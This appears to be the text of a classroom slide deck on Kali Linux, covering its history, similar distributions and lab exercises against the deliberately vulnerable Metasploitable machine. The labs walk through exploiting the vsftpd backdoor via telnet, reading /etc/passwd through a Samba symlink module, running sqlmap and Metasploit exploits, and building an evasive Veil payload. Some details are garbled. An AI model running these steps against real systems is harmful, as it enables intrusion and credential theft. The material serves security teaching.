Presentation on Kali Linux
Intro

Who is Kali?
Kali the mother goddess despite her
fearful appearance, protects the good
against the evil. Unlike the other Hindu
deities her form is pretty scary and
formidable, intended to scare away the
demons both literally and figuratively!
Anu Yadavalli

What is Kali Linux?
Kali Linux is a Debian-derived Linux
distribution designed for digital forensics
and penetration testing. It is maintained
and funded by Offensive Security Ltd. It
was developed by Mati Aharoni and Devon
Kearns of Offensive Security through the
rewrite of BackTrack, their previous
forensics Linux distribution.

BackTrack?
Kali Linux is the ‘rebirth’ of BackTrack
Linux. This is a custom distribution
designed for security testing for all skill
levels from novice to expert. It is the
largest collection of wireless hacking,
server exploiting, web application
assessing, social-engineering tools available
in a single Linux distribution.

Developers - March 12, 2013
“Seven years of developing BackTrack
Linux has taught us a significant amount
about what we, and the security
community, think a penetration testing
distribution should look like. We’ve taken all
of this knowledge and experience and
implemented it in our “next generation”
penetration testing distribution.”

Developers - March 12, 2013
“After a year of silent development,
we are incredibly proud to announce the
release and public availability of “Kali
Linux“, the most advanced, robust, and
stable penetration testing distribution to
date.
Kali is a more mature, secure, and
enterprise-ready version of BackTrack
Linux.”

Warning! Warning!
Kali Linux’s developers would like
everyone to use Kali Linux. But, Kali is a
Linux distribution specifically geared
towards professional penetration testing
and security auditing and as such. It is NOT
a recommended distribution for those
unfamiliar with Linux.

Hardware / Software
Kali likes its own dedicated hardware.
If you are learning about Kali and
penetration testing (Metaspolitable) then a
virtualized environment may be a
consideration. VMware Player 5 works well
and set the RAM to 1gb.

Hardware / Software
Kali recommends 10gb for the initial
install, 512MB RAM min, i386/AMD64,
CD/DVD / USB support.
Now…if ‘Veil’ is installed (+ 10gb) and
doing the updates/upgrades (+ 5gb), and
don’t forget the Alfa antenna.

Other guys? BackBox
BackBox is an Ubuntu-based
distribution developed to perform
penetration tests and security assessments.
It provides a minimal yet complete desktop
environment, thanks to its own software
repositories, which are always updated to
the latest stable versions of the most often
used and best-known ethical hacking tools.

Other guys? Pentoo
Pentoo is a Live CD/USB designed for
penetration testing and security
assessment. Based on Gentoo, it is
provided both as 32/64 bit installable
livecd. It features packet injection patched
wifi drivers, GPGPU cracking software, and
lots of tools for penetration testing and
security assessment.

Other guys? BlackBuntu
BlackBuntu is distribution for
penetration testing which was specially
designed for security training students and
practitioners of information security.
Blackbuntu is penetration testing
distribution with GNOME Desktop
Environment. It's currently being built
using the Ubuntu 10.10.

Other guys? EnGarde
EnGarde Secure Linux was designed to
support features suitable for individuals,
students, security enthusiasts, and those
wishing to evaluate the level of security and
ease of management available in Guardian
Digital enterprise products.

Final Thoughts

The second part of this slide deck covers more
tools and hands-on.

Lab #1 & Prep

Getting Ready…
- Let’s make a folder called  kali_2015
- Copy the DVD contents into that folder
- Install 7-Zip
- Install VMware Player
Let’s make sure the virtual environments are working and can ‘ping’
each other

VMware Player
Press <CTRL><Alt> at the same time to
be released from the current virtual
environment. You can then do a normal
<Alt><Tab> to toggle between different
applications.

Logins / Passwords
Kali Login  root
Kali Password  password

Note: This has already been done to save time, but should be done
after a new installation.

Lab #2 – Command Line Tools

Command Line Tools

ping
 ping
Packet InterNet Groper
Port = 8

or ‘disk free’

du
 du
Tells us how much space is taken or
‘disk used’.
You can get a shorter report by…
 ‘du –s’ … (disk used –summary)

free
 free
How much ‘free’ memory is available

ls
 ls
This is for ‘list’
 ls –l (list –long)
 ls -la (list – long – all attributes)

 pwd
Directory structure
Means ‘path to working directory’ or
‘print working directory’

ps / ps aux / pstree
 ps
Means ‘Process Status’
◦aux – auxiliary view
◦pstree – shows parent/child relationships
◦Windows – tasklist / taskkill
Kill - Stops a process (ex: kill PID)

Lab #3 – CLI & Services

CLI & Services

rlogin (from Metaspolitable)
 rlogin –l root <Target IP>
 whoami
 tcpdump -i eth0 host <Target IP>
A packet analyzer that runs under the command line. It allows the
user to intercept and display TCP/IP and other packets being
transmitted or received over a network to which the computer is
attached.

showmount
 showmount –e <Target IP>
 showmount –a <Target IP>
It displays a list of all clients that have remotely mounted a file system from a
specified machine in the Host parameter. This information is maintained by
the [mountd] daemon on the Host parameter.

telnet
 telnet <Target IP> 21
After '220...'
 user backdoored:)
 <CTRL><]>
 quit
Port 20/21 is FTP

telnet
After 'Escape character...',
 id;
<CTRL><]>
 quit
Port 6200 - Oracle Notification Service remote port Oracle Application Server

telnet
IRC (Internet Relay Chat)
Many trojans/backdoors also use this port: Dark Connection Inside, Dark FTP,
Host Control, NetBus worm , ScheduleAgent, SubSeven, Trinity, WinSatan,
Vampire, Moses, Maniacrootkit, kaitex, EGO.

telnet
After 'root@meta....',
 id
Many attack scripts install a backdoor shell at this port (especially those
against Sun systems via holes in sendmail and RPC services like statd,
ttdbserver, and cmsd). Connections to port 600/pcserver also have this
problem. Note: ingreslock, Trinoo; talks UDP/TCP.

Lab #4 – Working w/Metaspolitable

smbclient
 smbclient –L <//Target IP>
 msfconsole
...wait, wait, wait..., then
use auxiliary/admin/smb/samba_symlink_traversal
 set RHOST <Target IP>
 set SMBSHARE tmp

smbclient
 exploit
...Connecting to the server.....
...<yadda, yadda, yadda>...
...Auxiliary module....
At the prompt, type  exit

smbclient
 smbclient //<Target IP>/tmp
Do you get the 'smb: >' prompt?
 cd rootfs
 cd etc
 more passwd
Do you get a list of all user accts?

netdiscover
On Kali
netdiscover –i eth0 –r <Target IP>/24
Netdiscover is an active/passive address reconnaissance tool, mainly
developed for those wireless networks without DHCP server, when you are
wardriving. It can be also used on hub/switched networks.

sqlmap
On Kali
sqlmap –u http://<Target IP> --dbs
It is an open source penetration testing tool that automates the process of
detecting and exploiting SQL injection flaws and taking over of database
servers.

Wasp Services
From Kali – open IceWeasel
 http://<Target IP>/
Research: Multillidae <p. 8>
The Mutillidae are a family of more than 3,000 species of wasps (despite the
names) whose wingless females resemble large, hairy ants. Their common
name ‘velvet ant’ refers to their dense pile of hair which most often is bright
scarlet or orange, but may also be black, white, silver, or gold.

Web Services
From Kali – open IceWeasel
 http://<Target IP>/
Research: Multillidae <p. 8>
Mutillidae is a free, open source web application provided to allow security
enthusiest to pen-test and hack a web application

We will then take a look at the built-in exploit tools

msfconsole
From [msf>] console
 help search
 show exploits
 search dns
‘Help Search’ shows all of the options, ‘Show Exploits’ show all the built-in
exploits in msfconsole, ‘Search DNS’ will look for any DNS exploits.

msfconsole
From [msf>] console
 search Microsoft
 search diablo
 search irc
 search http
Let’s try a few more to see what they do….

From [msf>] console, search for ‘unreal’
 info <exploit>
 use <exploit>
 show options
 LHOST, RHOST, LPORT, RPORT

msfconsole
From [msf>] console (ex: unreal)
 set RHOST <IP Address>
 show options
 exploit


msfconsole
From [msf>] console, search for ‘twiki’
 info <exploit>
 use <exploit>
 show options
 LHOST, RHOST, LPORT, RPORT

msfconsole
From [msf>] console (ex: ‘twiki’)
 set RHOST <IP Address>
 show options
 exploit


msfconsole
From [msf>] console, (target: Win XP)
 use exploit/windows/smb/ms08_067_netapi
 show options
 show targets
 set target 2

msfconsole
 show options

 generate

veil
Let’s run veil
 1 (msfvenom)
 [ENTER] (accept default)
 Value for LHOST (Target IP)
 Value for LPORT (ex: 4000)

veil
Let’s run veil
 Output name (“Squatch”)
 It will store this new batch file to
the  /usr/share/veil/output/source
folder. When the file is run from the target
